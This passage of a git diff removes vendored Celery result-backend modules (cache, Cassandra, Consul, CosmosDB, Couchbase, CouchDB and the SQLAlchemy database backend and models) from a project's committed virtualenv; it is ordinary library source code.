**kwargs): - return self.cache.get(key) - - def get_multi(self, keys): - cache = self.cache - return {k: cache[k] for k in keys if k in cache} - - def set(self, key, value, *args, **kwargs): - self.cache[key] = value - - def delete(self, key, *args, **kwargs): - self.cache.pop(key, None) - - def incr(self, key, delta=1): - return self.cache.incr(key, delta) - - def touch(self, key, expire): - pass - - -backends = { - 'memcache': get_best_memcache, - 'memcached': get_best_memcache, - 'pylibmc': get_best_memcache, - 'memory': lambda: (DummyClient, ensure_bytes), -} - - -class CacheBackend(KeyValueStoreBackend): - """Cache result backend.""" - - servers = None - supports_autoexpire = True - supports_native_join = True - implements_incr = True - - def __init__(self, app, expires=None, backend=None, - options=None, url=None, **kwargs): - options = {} if not options else options - super().__init__(app, **kwargs) - self.url = url - - self.options = dict(self.app.conf.cache_backend_options, - **options) - - self.backend = url or backend or self.app.conf.cache_backend - if self.backend: - self.backend, _, servers = self.backend.partition('://') - self.servers = servers.rstrip('/').split(';') - self.expires = self.prepare_expires(expires, type=int) - try: - self.Client, self.key_t = backends[self.backend]() - except KeyError: - raise ImproperlyConfigured(UNKNOWN_BACKEND.format( - self.backend, ', '.join(backends))) - self._encode_prefixes() # rencode the keyprefixes - - def get(self, key): - return self.client.get(key) - - def mget(self, keys): - return self.client.get_multi(keys) - - def set(self, key, value): - return self.client.set(key, value, self.expires) - - def delete(self, key): - return self.client.delete(key) - - def _apply_chord_incr(self, header_result_args, body, **kwargs): - chord_key = self.get_key_for_chord(header_result_args[0]) - self.client.set(chord_key, 0, time=self.expires) - return super()._apply_chord_incr( - header_result_args, body, **kwargs) - - def incr(self, key): - return self.client.incr(key) - - def expire(self, key, value): - return self.client.touch(key, value) - - @cached_property - def client(self): - return self.Client(self.servers, **self.options) - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - servers = ';'.join(self.servers) - backend = f'{self.backend}://{servers}/' - kwargs.update( - {'backend': backend, - 'expires': self.expires, - 'options': self.options}) - return super().__reduce__(args, kwargs) - - def as_uri(self, *args, **kwargs): - """Return the backend as an URI. - - This properly handles the case of multiple servers. - """ - servers = ';'.join(self.servers) - return f'{self.backend}://{servers}/' diff --git a/venv/Lib/site-packages/celery/backends/cassandra.py b/venv/Lib/site-packages/celery/backends/cassandra.py deleted file mode 100644 index 4ca071d2d03bbc46d63068eb9b8c2077fb8a47fb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/cassandra.py +++ /dev/null @@ -1,256 +0,0 @@ -"""Apache Cassandra result store backend using the DataStax driver.""" -import threading - -from celery import states -from celery.exceptions import ImproperlyConfigured -from celery.utils.log import get_logger - -from .base import BaseBackend - -try: # pragma: no cover - import cassandra - import cassandra.auth - import cassandra.cluster - import cassandra.query -except ImportError: - cassandra = None - - -__all__ = ('CassandraBackend',) - -logger = get_logger(__name__) - -E_NO_CASSANDRA = """ -You need to install the cassandra-driver library to -use the Cassandra backend. See https://github.com/datastax/python-driver -""" - -E_NO_SUCH_CASSANDRA_AUTH_PROVIDER = """ -CASSANDRA_AUTH_PROVIDER you provided is not a valid auth_provider class. -See https://datastax.github.io/python-driver/api/cassandra/auth.html. -""" - -E_CASSANDRA_MISCONFIGURED = 'Cassandra backend improperly configured.' - -E_CASSANDRA_NOT_CONFIGURED = 'Cassandra backend not configured.' - -Q_INSERT_RESULT = """ -INSERT INTO {table} ( - task_id, status, result, date_done, traceback, children) VALUES ( - %s, %s, %s, %s, %s, %s) {expires}; -""" - -Q_SELECT_RESULT = """ -SELECT status, result, date_done, traceback, children -FROM {table} -WHERE task_id=%s -LIMIT 1 -""" - -Q_CREATE_RESULT_TABLE = """ -CREATE TABLE {table} ( - task_id text, - status text, - result blob, - date_done timestamp, - traceback blob, - children blob, - PRIMARY KEY ((task_id), date_done) -) WITH CLUSTERING ORDER BY (date_done DESC); -""" - -Q_EXPIRES = """ - USING TTL {0} -""" - - -def buf_t(x): - return bytes(x, 'utf8') - - -class CassandraBackend(BaseBackend): - """Cassandra/AstraDB backend utilizing DataStax driver. - - Raises: - celery.exceptions.ImproperlyConfigured: - if module :pypi:`cassandra-driver` is not available, - or not-exactly-one of the :setting:`cassandra_servers` and - the :setting:`cassandra_secure_bundle_path` settings is set. - """ - - #: List of Cassandra servers with format: ``hostname``. - servers = None - #: Location of the secure connect bundle zipfile (absolute path). - bundle_path = None - - supports_autoexpire = True # autoexpire supported via entry_ttl - - def __init__(self, servers=None, keyspace=None, table=None, entry_ttl=None, - port=None, bundle_path=None, **kwargs): - super().__init__(**kwargs) - - if not cassandra: - raise ImproperlyConfigured(E_NO_CASSANDRA) - - conf = self.app.conf - self.servers = servers or conf.get('cassandra_servers', None) - self.bundle_path = bundle_path or conf.get( - 'cassandra_secure_bundle_path', None) - self.port = port or conf.get('cassandra_port', None) or 9042 - self.keyspace = keyspace or conf.get('cassandra_keyspace', None) - self.table = table or conf.get('cassandra_table', None) - self.cassandra_options = conf.get('cassandra_options', {}) - - # either servers or bundle path must be provided... - db_directions = self.servers or self.bundle_path - if not db_directions or not self.keyspace or not self.table: - raise ImproperlyConfigured(E_CASSANDRA_NOT_CONFIGURED) - # ...but not both: - if self.servers and self.bundle_path: - raise ImproperlyConfigured(E_CASSANDRA_MISCONFIGURED) - - expires = entry_ttl or conf.get('cassandra_entry_ttl', None) - - self.cqlexpires = ( - Q_EXPIRES.format(expires) if expires is not None else '') - - read_cons = conf.get('cassandra_read_consistency') or 'LOCAL_QUORUM' - write_cons = conf.get('cassandra_write_consistency') or 'LOCAL_QUORUM' - - self.read_consistency = getattr( - cassandra.ConsistencyLevel, read_cons, - cassandra.ConsistencyLevel.LOCAL_QUORUM) - self.write_consistency = getattr( - cassandra.ConsistencyLevel, write_cons, - cassandra.ConsistencyLevel.LOCAL_QUORUM) - - self.auth_provider = None - auth_provider = conf.get('cassandra_auth_provider', None) - auth_kwargs = conf.get('cassandra_auth_kwargs', None) - if auth_provider and auth_kwargs: - auth_provider_class = getattr(cassandra.auth, auth_provider, None) - if not auth_provider_class: - raise ImproperlyConfigured(E_NO_SUCH_CASSANDRA_AUTH_PROVIDER) - self.auth_provider = auth_provider_class(**auth_kwargs) - - self._cluster = None - self._session = None - self._write_stmt = None - self._read_stmt = None - self._lock = threading.RLock() - - def _get_connection(self, write=False): - """Prepare the connection for action. - - Arguments: - write (bool): are we a writer? - """ - if self._session is not None: - return - self._lock.acquire() - try: - if self._session is not None: - return - # using either 'servers' or 'bundle_path' here: - if self.servers: - self._cluster = cassandra.cluster.Cluster( - self.servers, port=self.port, - auth_provider=self.auth_provider, - **self.cassandra_options) - else: - # 'bundle_path' is guaranteed to be set - self._cluster = cassandra.cluster.Cluster( - cloud={ - 'secure_connect_bundle': self.bundle_path, - }, - auth_provider=self.auth_provider, - **self.cassandra_options) - self._session = self._cluster.connect(self.keyspace) - - # We're forced to do concatenation below, as formatting would - # blow up on superficial %s that'll be processed by Cassandra - self._write_stmt = cassandra.query.SimpleStatement( - Q_INSERT_RESULT.format( - table=self.table, expires=self.cqlexpires), - ) - self._write_stmt.consistency_level = self.write_consistency - - self._read_stmt = cassandra.query.SimpleStatement( - Q_SELECT_RESULT.format(table=self.table), - ) - self._read_stmt.consistency_level = self.read_consistency - - if write: - # Only possible writers "workers" are allowed to issue - # CREATE TABLE. This is to prevent conflicting situations - # where both task-creator and task-executor would issue it - # at the same time. - - # Anyway; if you're doing anything critical, you should - # have created this table in advance, in which case - # this query will be a no-op (AlreadyExists) - make_stmt = cassandra.query.SimpleStatement( - Q_CREATE_RESULT_TABLE.format(table=self.table), - ) - make_stmt.consistency_level = self.write_consistency - - try: - self._session.execute(make_stmt) - except cassandra.AlreadyExists: - pass - - except cassandra.OperationTimedOut: - # a heavily loaded or gone Cassandra cluster failed to respond. - # leave this class in a consistent state - if self._cluster is not None: - self._cluster.shutdown() # also shuts down _session - - self._cluster = None - self._session = None - raise # we did fail after all - reraise - finally: - self._lock.release() - - def _store_result(self, task_id, result, state, - traceback=None, request=None, **kwargs): - """Store return value and state of an executed task.""" - self._get_connection(write=True) - - self._session.execute(self._write_stmt, ( - task_id, - state, - buf_t(self.encode(result)), - self.app.now(), - buf_t(self.encode(traceback)), - buf_t(self.encode(self.current_task_children(request))) - )) - - def as_uri(self, include_password=True): - return 'cassandra://' - - def _get_task_meta_for(self, task_id): - """Get task meta-data for a task by id.""" - self._get_connection() - - res = self._session.execute(self._read_stmt, (task_id, )).one() - if not res: - return {'status': states.PENDING, 'result': None} - - status, result, date_done, traceback, children = res - - return self.meta_from_decoded({ - 'task_id': task_id, - 'status': status, - 'result': self.decode(result), - 'date_done': date_done, - 'traceback': self.decode(traceback), - 'children': self.decode(children), - }) - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - kwargs.update( - {'servers': self.servers, - 'keyspace': self.keyspace, - 'table': self.table}) - return super().__reduce__(args, kwargs) diff --git a/venv/Lib/site-packages/celery/backends/consul.py b/venv/Lib/site-packages/celery/backends/consul.py deleted file mode 100644 index a4ab148469c838f93765505a6cf63814e9d5b0aa..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/consul.py +++ /dev/null @@ -1,116 +0,0 @@ -"""Consul result store backend. - -- :class:`ConsulBackend` implements KeyValueStoreBackend to store results - in the key-value store of Consul. -""" -from kombu.utils.encoding import bytes_to_str -from kombu.utils.url import parse_url - -from celery.backends.base import KeyValueStoreBackend -from celery.exceptions import ImproperlyConfigured -from celery.utils.log import get_logger - -try: - import consul -except ImportError: - consul = None - -logger = get_logger(__name__) - -__all__ = ('ConsulBackend',) - -CONSUL_MISSING = """\ -You need to install the python-consul library in order to use \ -the Consul result store backend.""" - - -class ConsulBackend(KeyValueStoreBackend): - """Consul.io K/V store backend for Celery.""" - - consul = consul - - supports_autoexpire = True - - consistency = 'consistent' - path = None - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - if self.consul is None: - raise ImproperlyConfigured(CONSUL_MISSING) - # - # By default, for correctness, we use a client connection per - # operation. If set, self.one_client will be used for all operations. - # This provides for the original behaviour to be selected, and is - # also convenient for mocking in the unit tests. - # - self.one_client = None - self._init_from_params(**parse_url(self.url)) - - def _init_from_params(self, hostname, port, virtual_host, **params): - logger.debug('Setting on Consul client to connect to %s:%d', - hostname, port) - self.path = virtual_host - self.hostname = hostname - self.port = port - # - # Optionally, allow a single client connection to be used to reduce - # the connection load on Consul by adding a "one_client=1" parameter - # to the URL. - # - if params.get('one_client', None): - self.one_client = self.client() - - def client(self): - return self.one_client or consul.Consul(host=self.hostname, - port=self.port, - consistency=self.consistency) - - def _key_to_consul_key(self, key): - key = bytes_to_str(key) - return key if self.path is None else f'{self.path}/{key}' - - def get(self, key): - key = self._key_to_consul_key(key) - logger.debug('Trying to fetch key %s from Consul', key) - try: - _, data = self.client().kv.get(key) - return data['Value'] - except TypeError: - pass - - def mget(self, keys): - for key in keys: - yield self.get(key) - - def set(self, key, value): - """Set a key in Consul. - - Before creating the key it will create a session inside Consul - where it creates a session with a TTL - - The key created afterwards will reference to the session's ID. - - If the session expires it will remove the key so that results - can auto expire from the K/V store - """ - session_name = bytes_to_str(key) - - key = self._key_to_consul_key(key) - - logger.debug('Trying to create Consul session %s with TTL %d', - session_name, self.expires) - client = self.client() - session_id = client.session.create(name=session_name, - behavior='delete', - ttl=self.expires) - logger.debug('Created Consul session %s', session_id) - - logger.debug('Writing key %s to Consul', key) - return client.kv.put(key=key, value=value, acquire=session_id) - - def delete(self, key): - key = self._key_to_consul_key(key) - logger.debug('Removing key %s from Consul', key) - return self.client().kv.delete(key) diff --git a/venv/Lib/site-packages/celery/backends/cosmosdbsql.py b/venv/Lib/site-packages/celery/backends/cosmosdbsql.py deleted file mode 100644 index e32b13f2e78b7cb8bb0b1a2f7b8a8541cffe8499..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/cosmosdbsql.py +++ /dev/null @@ -1,218 +0,0 @@ -"""The CosmosDB/SQL backend for Celery (experimental).""" -from kombu.utils import cached_property -from kombu.utils.encoding import bytes_to_str -from kombu.utils.url import _parse_url - -from celery.exceptions import ImproperlyConfigured -from celery.utils.log import get_logger - -from .base import KeyValueStoreBackend - -try: - import pydocumentdb - from pydocumentdb.document_client import DocumentClient - from pydocumentdb.documents import ConnectionPolicy, ConsistencyLevel, PartitionKind - from pydocumentdb.errors import HTTPFailure - from pydocumentdb.retry_options import RetryOptions -except ImportError: - pydocumentdb = DocumentClient = ConsistencyLevel = PartitionKind = \ - HTTPFailure = ConnectionPolicy = RetryOptions = None - -__all__ = ("CosmosDBSQLBackend",) - - -ERROR_NOT_FOUND = 404 -ERROR_EXISTS = 409 - -LOGGER = get_logger(__name__) - - -class CosmosDBSQLBackend(KeyValueStoreBackend): - """CosmosDB/SQL backend for Celery.""" - - def __init__(self, - url=None, - database_name=None, - collection_name=None, - consistency_level=None, - max_retry_attempts=None, - max_retry_wait_time=None, - *args, - **kwargs): - super().__init__(*args, **kwargs) - - if pydocumentdb is None: - raise ImproperlyConfigured( - "You need to install the pydocumentdb library to use the " - "CosmosDB backend.") - - conf = self.app.conf - - self._endpoint, self._key = self._parse_url(url) - - self._database_name = ( - database_name or - conf["cosmosdbsql_database_name"]) - - self._collection_name = ( - collection_name or - conf["cosmosdbsql_collection_name"]) - - try: - self._consistency_level = getattr( - ConsistencyLevel, - consistency_level or - conf["cosmosdbsql_consistency_level"]) - except AttributeError: - raise ImproperlyConfigured("Unknown CosmosDB consistency level") - - self._max_retry_attempts = ( - max_retry_attempts or - conf["cosmosdbsql_max_retry_attempts"]) - - self._max_retry_wait_time = ( - max_retry_wait_time or - conf["cosmosdbsql_max_retry_wait_time"]) - - @classmethod - def _parse_url(cls, url): - _, host, port, _, password, _, _ = _parse_url(url) - - if not host or not password: - raise ImproperlyConfigured("Invalid URL") - - if not port: - port = 443 - - scheme = "https" if port == 443 else "http" - endpoint = f"{scheme}://{host}:{port}" - return endpoint, password - - @cached_property - def _client(self): - """Return the CosmosDB/SQL client. - - If this is the first call to the property, the client is created and - the database and collection are initialized if they don't yet exist. - - """ - connection_policy = ConnectionPolicy() - connection_policy.RetryOptions = RetryOptions( - max_retry_attempt_count=self._max_retry_attempts, - max_wait_time_in_seconds=self._max_retry_wait_time) - - client = DocumentClient( - self._endpoint, - {"masterKey": self._key}, - connection_policy=connection_policy, - consistency_level=self._consistency_level) - - self._create_database_if_not_exists(client) - self._create_collection_if_not_exists(client) - - return client - - def _create_database_if_not_exists(self, client): - try: - client.CreateDatabase({"id": self._database_name}) - except HTTPFailure as ex: - if ex.status_code != ERROR_EXISTS: - raise - else: - LOGGER.info("Created CosmosDB database %s", - self._database_name) - - def _create_collection_if_not_exists(self, client): - try: - client.CreateCollection( - self._database_link, - {"id": self._collection_name, - "partitionKey": {"paths": ["/id"], - "kind": PartitionKind.Hash}}) - except HTTPFailure as ex: - if ex.status_code != ERROR_EXISTS: - raise - else: - LOGGER.info("Created CosmosDB collection %s/%s", - self._database_name, self._collection_name) - - @cached_property - def _database_link(self): - return "dbs/" + self._database_name - - @cached_property - def _collection_link(self): - return self._database_link + "/colls/" + self._collection_name - - def _get_document_link(self, key): - return self._collection_link + "/docs/" + key - - @classmethod - def _get_partition_key(cls, key): - if not key or key.isspace(): - raise ValueError("Key cannot be none, empty or whitespace.") - - return {"partitionKey": key} - - def get(self, key): - """Read the value stored at the given key. - - Args: - key: The key for which to read the value. - - """ - key = bytes_to_str(key) - LOGGER.debug("Getting CosmosDB document %s/%s/%s", - self._database_name, self._collection_name, key) - - try: - document = self._client.ReadDocument( - self._get_document_link(key), - self._get_partition_key(key)) - except HTTPFailure as ex: - if ex.status_code != ERROR_NOT_FOUND: - raise - return None - else: - return document.get("value") - - def set(self, key, value): - """Store a value for a given key. - - Args: - key: The key at which to store the value. - value: The value to store. - - """ - key = bytes_to_str(key) - LOGGER.debug("Creating CosmosDB document %s/%s/%s", - self._database_name, self._collection_name, key) - - self._client.CreateDocument( - self._collection_link, - {"id": key, "value": value}, - self._get_partition_key(key)) - - def mget(self, keys): - """Read all the values for the provided keys. - - Args: - keys: The list of keys to read. - - """ - return [self.get(key) for key in keys] - - def delete(self, key): - """Delete the value at a given key. - - Args: - key: The key of the value to delete. - - """ - key = bytes_to_str(key) - LOGGER.debug("Deleting CosmosDB document %s/%s/%s", - self._database_name, self._collection_name, key) - - self._client.DeleteDocument( - self._get_document_link(key), - self._get_partition_key(key)) diff --git a/venv/Lib/site-packages/celery/backends/couchbase.py b/venv/Lib/site-packages/celery/backends/couchbase.py deleted file mode 100644 index f01cb958ad45332f0352f4520680a0cda14fbd25..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/couchbase.py +++ /dev/null @@ -1,114 +0,0 @@ -"""Couchbase result store backend.""" - -from kombu.utils.url import _parse_url - -from celery.exceptions import ImproperlyConfigured - -from .base import KeyValueStoreBackend - -try: - from couchbase.auth import PasswordAuthenticator - from couchbase.cluster import Cluster -except ImportError: - Cluster = PasswordAuthenticator = None - -try: - from couchbase_core._libcouchbase import FMT_AUTO -except ImportError: - FMT_AUTO = None - -__all__ = ('CouchbaseBackend',) - - -class CouchbaseBackend(KeyValueStoreBackend): - """Couchbase backend. - - Raises: - celery.exceptions.ImproperlyConfigured: - if module :pypi:`couchbase` is not available. - """ - - bucket = 'default' - host = 'localhost' - port = 8091 - username = None - password = None - quiet = False - supports_autoexpire = True - - timeout = 2.5 - - # Use str as couchbase key not bytes - key_t = str - - def __init__(self, url=None, *args, **kwargs): - kwargs.setdefault('expires_type', int) - super().__init__(*args, **kwargs) - self.url = url - - if Cluster is None: - raise ImproperlyConfigured( - 'You need to install the couchbase library to use the ' - 'Couchbase backend.', - ) - - uhost = uport = uname = upass = ubucket = None - if url: - _, uhost, uport, uname, upass, ubucket, _ = _parse_url(url) - ubucket = ubucket.strip('/') if ubucket else None - - config = self.app.conf.get('couchbase_backend_settings', None) - if config is not None: - if not isinstance(config, dict): - raise ImproperlyConfigured( - 'Couchbase backend settings should be grouped in a dict', - ) - else: - config = {} - - self.host = uhost or config.get('host', self.host) - self.port = int(uport or config.get('port', self.port)) - self.bucket = ubucket or config.get('bucket', self.bucket) - self.username = uname or config.get('username', self.username) - self.password = upass or config.get('password', self.password) - - self._connection = None - - def _get_connection(self): - """Connect to the Couchbase server.""" - if self._connection is None: - if self.host and self.port: - uri = f"couchbase://{self.host}:{self.port}" - else: - uri = f"couchbase://{self.host}" - if self.username and self.password: - opt = PasswordAuthenticator(self.username, self.password) - else: - opt = None - - cluster = Cluster(uri, opt) - - bucket = cluster.bucket(self.bucket) - - self._connection = bucket.default_collection() - return self._connection - - @property - def connection(self): - return self._get_connection() - - def get(self, key): - return self.connection.get(key).content - - def set(self, key, value): - # Since 4.0.0 value is JSONType in couchbase lib, so parameter format isn't needed - if FMT_AUTO is not None: - self.connection.upsert(key, value, ttl=self.expires, format=FMT_AUTO) - else: - self.connection.upsert(key, value, ttl=self.expires) - - def mget(self, keys): - return self.connection.get_multi(keys) - - def delete(self, key): - self.connection.remove(key) diff --git a/venv/Lib/site-packages/celery/backends/couchdb.py b/venv/Lib/site-packages/celery/backends/couchdb.py deleted file mode 100644 index 9cc7d7881f2d5898defd4726075089bfc012dc66..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/couchdb.py +++ /dev/null @@ -1,100 +0,0 @@ -"""CouchDB result store backend.""" -from kombu.utils.encoding import bytes_to_str -from kombu.utils.url import _parse_url - -from celery.exceptions import ImproperlyConfigured - -from .base import KeyValueStoreBackend - -try: - import pycouchdb -except ImportError: - pycouchdb = None - -__all__ = ('CouchBackend',) - -ERR_LIB_MISSING = """\ -You need to install the pycouchdb library to use the CouchDB result backend\ -""" - - -class CouchBackend(KeyValueStoreBackend): - """CouchDB backend. - - Raises: - celery.exceptions.ImproperlyConfigured: - if module :pypi:`pycouchdb` is not available. - """ - - container = 'default' - scheme = 'http' - host = 'localhost' - port = 5984 - username = None - password = None - - def __init__(self, url=None, *args, **kwargs): - super().__init__(*args, **kwargs) - self.url = url - - if pycouchdb is None: - raise ImproperlyConfigured(ERR_LIB_MISSING) - - uscheme = uhost = uport = uname = upass = ucontainer = None - if url: - _, uhost, uport, uname, upass, ucontainer, _ = _parse_url(url) - ucontainer = ucontainer.strip('/') if ucontainer else None - - self.scheme = uscheme or self.scheme - self.host = uhost or self.host - self.port = int(uport or self.port) - self.container = ucontainer or self.container - self.username = uname or self.username - self.password = upass or self.password - - self._connection = None - - def _get_connection(self): - """Connect to the CouchDB server.""" - if self.username and self.password: - conn_string = f'{self.scheme}://{self.username}:{self.password}@{self.host}:{self.port}' - server = pycouchdb.Server(conn_string, authmethod='basic') - else: - conn_string = f'{self.scheme}://{self.host}:{self.port}' - server = pycouchdb.Server(conn_string) - - try: - return server.database(self.container) - except pycouchdb.exceptions.NotFound: - return server.create(self.container) - - @property - def connection(self): - if self._connection is None: - self._connection = self._get_connection() - return self._connection - - def get(self, key): - key = bytes_to_str(key) - try: - return self.connection.get(key)['value'] - except pycouchdb.exceptions.NotFound: - return None - - def set(self, key, value): - key = bytes_to_str(key) - data = {'_id': key, 'value': value} - try: - self.connection.save(data) - except pycouchdb.exceptions.Conflict: - # document already exists, update it - data = self.connection.get(key) - data['value'] = value - self.connection.save(data) - - def mget(self, keys): - return [self.get(key) for key in keys] - - def delete(self, key): - key = bytes_to_str(key) - self.connection.delete(key) diff --git a/venv/Lib/site-packages/celery/backends/database/__init__.py b/venv/Lib/site-packages/celery/backends/database/__init__.py deleted file mode 100644 index 97a96e4981313d0772ace4ddd014a8742ee47122..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/database/__init__.py +++ /dev/null @@ -1,261 +0,0 @@ -"""SQLAlchemy result store backend.""" -import logging -from contextlib import contextmanager - -from vine.utils import wraps - -from celery import states -from celery.backends.base import BaseBackend -from celery.exceptions import ImproperlyConfigured -from celery.utils.time import maybe_timedelta - -from .models import Task, TaskExtended, TaskSet -from .session import SessionManager - -try: - from sqlalchemy.exc import DatabaseError, InterfaceError, InvalidRequestError - from sqlalchemy.orm.exc import StaleDataError -except ImportError: - raise ImproperlyConfigured( - 'The database result backend requires SQLAlchemy to be installed.' - 'See https://pypi.org/project/SQLAlchemy/') - -logger = logging.getLogger(__name__) - -__all__ = ('DatabaseBackend',) - -RETRYABLE_DB_ERRORS = ( - DatabaseError, - InterfaceError, - InvalidRequestError, - StaleDataError, -) - - -@contextmanager -def session_cleanup(session): - try: - yield - except Exception: - session.rollback() - raise - finally: - session.close() - - -def retry(fun): - - @wraps(fun) - def _inner(*args, **kwargs): - max_retries = kwargs.pop('max_retries', 3) - - for retries in range(max_retries): - try: - return fun(*args, **kwargs) - except RETRYABLE_DB_ERRORS as exc: - backend = args[0] if args else None - on_retryable_error = getattr(backend, 'on_backend_retryable_error', None) - if callable(on_retryable_error): - try: - on_retryable_error(exc) - except Exception: - logger.exception( - "on_backend_retryable_error hook failed; continuing retry loop", - ) - logger.warning( - 'Failed operation %s. Retrying %s more times.', - fun.__name__, max_retries - retries - 1, - exc_info=True) - if retries + 1 >= max_retries: - raise - - return _inner - - -class DatabaseBackend(BaseBackend): - """The database result backend.""" - - # ResultSet.iterate should sleep this much between each pool, - # to not bombard the database with queries. - subpolling_interval = 0.5 - - task_cls = Task - taskset_cls = TaskSet - - def __init__(self, dburi=None, engine_options=None, url=None, **kwargs): - # The `url` argument was added later and is used by - # the app to set backend by url (celery.app.backends.by_url) - super().__init__(expires_type=maybe_timedelta, - url=url, **kwargs) - conf = self.app.conf - - if self.extended_result: - self.task_cls = TaskExtended - - self.url = url or dburi or conf.database_url - - # Merge engine options: defaults from config <- constructor overrides - # The defaults (pool_pre_ping=True, pool_recycle=3600) are defined in - # celery/app/defaults.py under database_engine_options - self.engine_options = dict( - conf.database_engine_options or {}, - **(engine_options or {}) - ) - self.short_lived_sessions = kwargs.get( - 'short_lived_sessions', - conf.database_short_lived_sessions) - - schemas = conf.database_table_schemas or {} - tablenames = conf.database_table_names or {} - self.task_cls.configure( - schema=schemas.get('task'), - name=tablenames.get('task')) - self.taskset_cls.configure( - schema=schemas.get('group'), - name=tablenames.get('group')) - - if not self.url: - raise ImproperlyConfigured( - 'Missing connection string! Do you have the' - ' database_url setting set to a real value?') - - self.session_manager = SessionManager() - - create_tables_at_setup = conf.database_create_tables_at_setup - if create_tables_at_setup is True: - self._create_tables() - - @property - def extended_result(self): - return self.app.conf.find_value_for_key('extended', 'result') - - def exception_safe_to_retry(self, exc): - return isinstance(exc, RETRYABLE_DB_ERRORS) - - def on_backend_retryable_error(self, exc): - self.session_manager.invalidate(self.url) - - def _create_tables(self): - """Create the task and taskset tables.""" - self.ResultSession() - - def ResultSession(self, session_manager=None): - if session_manager is None: - session_manager = self.session_manager - return session_manager.session_factory( - dburi=self.url, - short_lived_sessions=self.short_lived_sessions, - **self.engine_options) - - @retry - def _store_result(self, task_id, result, state, traceback=None, - request=None, **kwargs): - """Store return value and state of an executed task.""" - session = self.ResultSession() - with session_cleanup(session): - task = list(session.query(self.task_cls).filter(self.task_cls.task_id == task_id)) - task = task and task[0] - if not task: - task = self.task_cls(task_id) - task.task_id = task_id - session.add(task) - session.flush() - - self._update_result(task, result, state, traceback=traceback, request=request) - session.commit() - - def _update_result(self, task, result, state, traceback=None, - request=None): - - meta = self._get_result_meta(result=result, state=state, - traceback=traceback, request=request, - format_date=False, encode=True) - - # Exclude the primary key id and task_id columns - # as we should not set it None - columns = [column.name for column in self.task_cls.__table__.columns - if column.name not in {'id', 'task_id'}] - - # Iterate through the columns name of the table - # to set the value from meta. - # If the value is not present in meta, set None - for column in columns: - value = meta.get(column) - setattr(task, column, value) - - @retry - def _get_task_meta_for(self, task_id): - """Get task meta-data for a task by id.""" - session = self.ResultSession() - with session_cleanup(session): - task = list(session.query(self.task_cls).filter(self.task_cls.task_id == task_id)) - task = task and task[0] - if not task: - task = self.task_cls(task_id) - task.status = states.PENDING - task.result = None - data = task.to_dict() - if data.get('args', None) is not None: - data['args'] = self.decode(data['args']) - if data.get('kwargs', None) is not None: - data['kwargs'] = self.decode(data['kwargs']) - return self.meta_from_decoded(data) - - @retry - def _save_group(self, group_id, result): - """Store the result of an executed group.""" - session = self.ResultSession() - with session_cleanup(session): - group = self.taskset_cls(group_id, result) - session.add(group) - session.flush() - session.commit() - return result - - @retry - def _restore_group(self, group_id): - """Get meta-data for group by id.""" - session = self.ResultSession() - with session_cleanup(session): - group = session.query(self.taskset_cls).filter( - self.taskset_cls.taskset_id == group_id).first() - if group: - return group.to_dict() - - @retry - def _delete_group(self, group_id): - """Delete meta-data for group by id.""" - session = self.ResultSession() - with session_cleanup(session): - session.query(self.taskset_cls).filter( - self.taskset_cls.taskset_id == group_id).delete() - session.flush() - session.commit() - - @retry - def _forget(self, task_id): - """Forget about result.""" - session = self.ResultSession() - with session_cleanup(session): - session.query(self.task_cls).filter(self.task_cls.task_id == task_id).delete() - session.commit() - - def cleanup(self): - """Delete expired meta-data.""" - session = self.ResultSession() - expires = self.expires - now = self.app.now() - with session_cleanup(session): - session.query(self.task_cls).filter( - self.task_cls.date_done < (now - expires)).delete() - session.query(self.taskset_cls).filter( - self.taskset_cls.date_done < (now - expires)).delete() - session.commit() - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - kwargs.update( - {'dburi': self.url, - 'expires': self.expires, - 'engine_options': self.engine_options}) - return super().__reduce__(args, kwargs) diff --git a/venv/Lib/site-packages/celery/backends/database/models.py b/venv/Lib/site-packages/celery/backends/database/models.py deleted file mode 100644 index f8ee62393491ff6de6dc6f647ca258f86753c891..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/database/models.py +++ /dev/null @@ -1,121 +0,0 @@ -"""Database models used by the SQLAlchemy result store backend.""" -from datetime import datetime, timezone - -import sqlalchemy as sa -from sqlalchemy.types import PickleType - -from celery import states - -from .session import ResultModelBase - -__all__ = ('Task', 'TaskExtended', 'TaskSet') - - -DialectSpecificInteger = sa.Integer().with_variant(sa.BigInteger, 'mssql') - - -def _get_utc_now(): - """Return current UTC datetime. - - This helper is used as a callable for SQLAlchemy column defaults - to ensure the timestamp is evaluated at INSERT/UPDATE time, - not at module import time. - """ - return datetime.now(timezone.utc) - - -class Task(ResultModelBase): - """Task result/status.""" - - __tablename__ = 'celery_taskmeta' - __table_args__ = {'sqlite_autoincrement': True} - - id = sa.Column(DialectSpecificInteger, sa.Sequence('task_id_sequence'), - primary_key=True, autoincrement=True) - task_id = sa.Column(sa.String(155), unique=True) - status = sa.Column(sa.String(50), default=states.PENDING) - result = sa.Column(PickleType, nullable=True) - date_done = sa.Column(sa.DateTime, default=_get_utc_now, - onupdate=_get_utc_now, nullable=True, index=True) - traceback = sa.Column(sa.Text, nullable=True) - - def __init__(self, task_id): - self.task_id = task_id - - def to_dict(self): - return { - 'task_id': self.task_id, - 'status': self.status, - 'result': self.result, - 'traceback': self.traceback, - 'date_done': self.date_done, - } - - def __repr__(self): - return ''.format(self) - - @classmethod - def configure(cls, schema=None, name=None): - cls.__table__.schema = schema - cls.id.default.schema = schema - cls.__table__.name = name or cls.__tablename__ - - -class TaskExtended(Task): - """For the extend result.""" - - __tablename__ = 'celery_taskmeta' - __table_args__ = {'sqlite_autoincrement': True, 'extend_existing': True} - - name = sa.Column(sa.String(155), nullable=True) - args = sa.Column(sa.LargeBinary, nullable=True) - kwargs = sa.Column(sa.LargeBinary, nullable=True) - worker = sa.Column(sa.String(155), nullable=True) - retries = sa.Column(sa.Integer, nullable=True) - queue = sa.Column(sa.String(155), nullable=True) - - def to_dict(self): - task_dict = super().to_dict() - 